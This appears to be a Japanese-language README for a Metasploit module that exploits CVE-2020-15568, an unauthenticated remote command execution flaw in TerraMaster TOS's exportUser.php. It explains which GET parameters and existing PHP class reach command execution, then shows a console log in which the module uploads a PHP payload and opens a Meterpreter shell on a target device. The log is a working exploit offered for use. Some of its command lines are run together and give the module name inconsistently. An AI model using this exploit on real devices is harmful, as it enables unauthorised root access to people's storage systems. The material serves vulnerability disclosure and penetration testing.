
CVE-2020-15568 Metasploitモジュールのリポジトリ
CVE-2020-15568 Metasploitモジュール用リポジトリ
include/exportUser.php ファイルに動的クラスメソッド呼び出しの脆弱性が存在し、TerraMaster デバイス上で root 権限によるリモートコマンド実行を引き起こす可能性があります。 脆弱性のあるファイルは、メソッド呼び出しに到達してこの脆弱性を悪用するために、複数の HTTP GET パラメータを指定する必要があります。最初の行でアプリケーションは app.php をインクルードし、これが TOS ソフトウェアの関連コアクラスをオートロードします。 アプリケーションは GET パラメータ type の値に基づいて操作を決定します。type 変数の値が 1 または 2 以外の場合、脆弱なコードに到達することが可能です。 exportUser.php のソースコードでは、アプリケーションは HTTP GET パラメータとして cla(class の略)、func、opt を必要とします。
他のファイルのコードレビュー中にも、TOS ソフトウェアに既存のクラスを使用してこの問題を悪用する方法があることが判明しました。 include/class/application.class.php にある PHP クラスは、TOS ソフトウェアを実行するデバイス上でコマンドを実行するための最適な候補です。 exportUser.php には認証制御がないため、認証されていない攻撃者がコード実行に到達することが可能です。
use exploit/multi/http/terramaster_command_execset rhost 192.168.1.27check[+] 192.168.1.27:80 - The target is vulnerable.
Exploit targets:
Id Name
-- ----
0 Auto
msf5 > use exploit/multi/http/terra_master_command_exec
msf5 exploit(exploit/multi/http/terramaster_command_exec) > set rhost 192.168.1.27
rhost => 192.168.1.27
msf5 exploit(multi/http/terramaster_command_exec) > run
[+] Payload uploaded to /logs/FJETBHLL/.vatw.php
[+] Payload successfully triggered !
[*] Started bind TCP handler against 192.168.1.27:9090
[*] Sending stage (38288 bytes) to 192.168.1.27
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 192.168.1.27:9090) at 2020-07-23 09:49:34 +0300
meterpreter >